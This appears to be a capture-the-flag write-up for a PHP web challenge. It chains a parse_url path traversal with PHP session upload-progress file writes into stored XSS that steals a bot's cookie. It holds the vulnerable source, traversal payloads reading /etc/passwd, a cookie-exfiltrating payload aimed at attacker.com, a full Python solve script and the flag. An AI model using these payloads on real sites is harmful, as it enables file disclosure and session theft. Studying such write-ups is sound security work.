This challenge exposes two services:
tl;dr the goal of this challenge is to gain XSS to steal the bot cookie.
<!DOCTYPE html>
<html>
<head>
<style>
</style>
</head>
<body>
<main>
<div class="speech-bubble"></div>
<br/>
<img src="https://i.giphy.com/uOx4m7GF9mEpkh9MgE.webp" style="width: 350px; height: auto;" alt="shellfish">
</main>
<script>
async function load_quote() {
const params = new URLSearchParams(window.location.search);
const quote_file = params.get("quote") ?? "shellfish.txt";
let quote;
let resp = await fetch(`/get_quote?quote=${quote_file}`);
quote = await resp.text();
document.body.getElementsByClassName("speech-bubble")[0].innerHTML = quote;
}
document.addEventListener("DOMContentLoaded", function(event){
load_quote();
});
</script>
</body>
</html>
<?php
$quote_file = "/tmp/quotes/";
if(isset($_GET["quote"])) {
if(strpos($_GET["quote"],":")) {
$quote_file .= parse_url($_GET["quote"].".txt")["path"];
} else {
if(strpos($_GET["quote"], "..")) {
$quote_file .= "shellfish.txt";
} else {
$quote_file .= $_GET["quote"].".txt";
}
}
} else {
$quote_file .= "shellfish.txt";
}
if(!file_exists($quote_file)) {
$quote_file = "/tmp/quotes/shellfish.txt";
}
readfile($quote_file);
The application is split into two files. The frontend index.php reads a quote parameter from the URL query string and passes it to a backend endpoint /get_quote via a fetch call. The response is then injected directly into the DOM using innerHTML:
document.body.getElementsByClassName("speech-bubble")[0].innerHTML = quote;
This means that if we can make /get_quote return arbitrary HTML, we get XSS in the context of any user visiting the page, including the bot that holds the flag in its cookies.
get_quote.phpThe backend file get_quote.php constructs a file path from the quote GET parameter and reads the file at that path. The logic has two branches:
.., it falls back to a safe default file.:, it is passed to parse_url before being appended to the base path.The second branch is the vulnerable one. parse_url parses a string as a URL and returns its components. When we pass something like ftp://../../../../../etc/passwd?a=, the function extracts the path component, which is /../../../../../etc/passwd. This path is then appended to /tmp/quotes/, resulting in /tmp/quotes/../../../../../etc/passwd, which resolves to /etc/passwd.
The .txt suffix that gets appended to our input is neutralized by adding a query string at the end of our payload. Since parse_url extracts only the path component, the ?a= part and everything after it is discarded, and the .txt ends up in the query string rather than in the path.
A working payload to read /etc/passwd would be:
GET /get_quote?quote=ftp://../../../../../etc/passwd?a=
We now have an arbitrary file read primitive. The next step is finding a file on the filesystem that we can write content to, and that contains our XSS payload.
Even though the application has no file upload feature, PHP itself has a built-in mechanism that writes files to disk during any multipart POST request. When a client sends a multipart form request that includes a field named PHP_SESSION_UPLOAD_PROGRESS, PHP activates its upload progress tracking feature. It will write a session file to the session storage folder (typically /var/lib/php/sessions/ or /tmp/sessions/) containing a serialized representation of the upload state, including the value of the PHP_SESSION_UPLOAD_PROGRESS field as a key in the serialized data.
Critically, the value of this field is written into the session file with no sanitization, except for null bytes and the | character. This means we can inject arbitrary content into the session file, including an XSS payload such as:
<img src=x onerror='fetch("https://attacker.com/?c="+document.cookie)'>
The session file is named after the PHPSESSID cookie value. By forcing this cookie to a value we control, for example worty, the resulting file will be written at:
/var/lib/php/sessions/sess_worty
The configuration line session.upload_progress.cleanup = Off in php.ini is what makes this attack reliable. By default, PHP deletes the session upload progress data as soon as the upload finishes. With this option disabled, the file persists on disk after the request completes, giving us time to read it back through the path traversal.
To trigger the file write, we send a POST request like the following:
cookies = {"PHPSESSID": "worty"}
data = {"PHP_SESSION_UPLOAD_PROGRESS": "<img src=x onerror='...'>"}
files = {"file": ("fcsc.solve", "FCSC\n", "application/text")}
requests.post(url, cookies=cookies, data=data, files=files)
Now that we have a file on the filesystem containing our XSS payload, we can use the path traversal to make /get_quote read and return it. The session file is located at a known path based on the PHPSESSID value we chose:
GET /get_quote?quote=ftp://localhost/../../../../var/lib/php/sessions/sess_worty?a=
The server reads the session file and returns its content as the response body. The frontend then injects this content into the DOM via innerHTML, triggering our XSS payload in the browser of anyone visiting the crafted URL.
The final step is to send this crafted URL to the bot. The bot visits the page, the session file content gets injected into the DOM, the XSS payload executes, and the bot's cookie containing the flag is exfiltrated.
Since the bot communicates over a TCP socket in this challenge, we send the payload URL through that interface and wait for the flag to come back in the exfiltrated cookie data.
#!/usr/bin/python3
import re
import sys
import random
import string
import requests
from pwn import *
if args.LOCAL:
URL = "http://localhost:8000"
BOT = "localhost:4000"
else:
if len(sys.argv) == 3:
URL = sys.argv[1]
BOT = sys.argv[2]
else:
URL = "https://shellfish-say.fcsc.fr"
BOT = "challenges.fcsc.fr:2256"
# Flag regex
flag_regex = r"FCSC{.*}"
# Name of the evil session
sess_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k=8))
# IP and PORT for the bot
bot_ip = BOT.split(":")[0]
bot_port = int(BOT.split(":")[1].strip())
# Will be the part of the filename after sess_ (ex: sess_worty)
cookies = {"PHPSESSID": sess_name}
# The partial content controlled inside the session upload progress file
data = {"PHP_SESSION_UPLOAD_PROGRESS": "<img src=x onerror='console.log(document.cookie)'>"}
# The file to upload just for the request to be taken into account
files = {"file": ("fcsc.solve", "FCSC\n", "application/text")}
print(f"[+] Creating evil session file on the remote instance at {URL}")
try:
response = requests.post(URL, cookies=cookies, data=data, files=files)
print("[+] File stored successfully")
except Exception as e:
print("[-] An error occured")
print(e)
sys.exit(1)
bot_remote = remote(bot_ip, bot_port)
for i in range(3):
bot_remote.recvline()
payload = f"http://shellfish-say/?quote=ftp://localhost/../../../../tmp/sess_{sess_name}%3F".encode()
print(payload)
print("[+] Sending evil URL to the bot")
bot_remote.sendline(payload)
flagged = False
print("[+] Waiting for the flag...")
while not flagged:
recv = bot_remote.recvline().decode()
if "FCSC" not in recv:
continue
flag = re.search(flag_regex, recv)
print(f"[+] Got the flag: {flag.group(0)}")
flagged = True
bot_remote.close()
FCSC{173b276667bf8bd64ae842c4df76bc25913078dbe167b6d47ca59a858ea15e8c}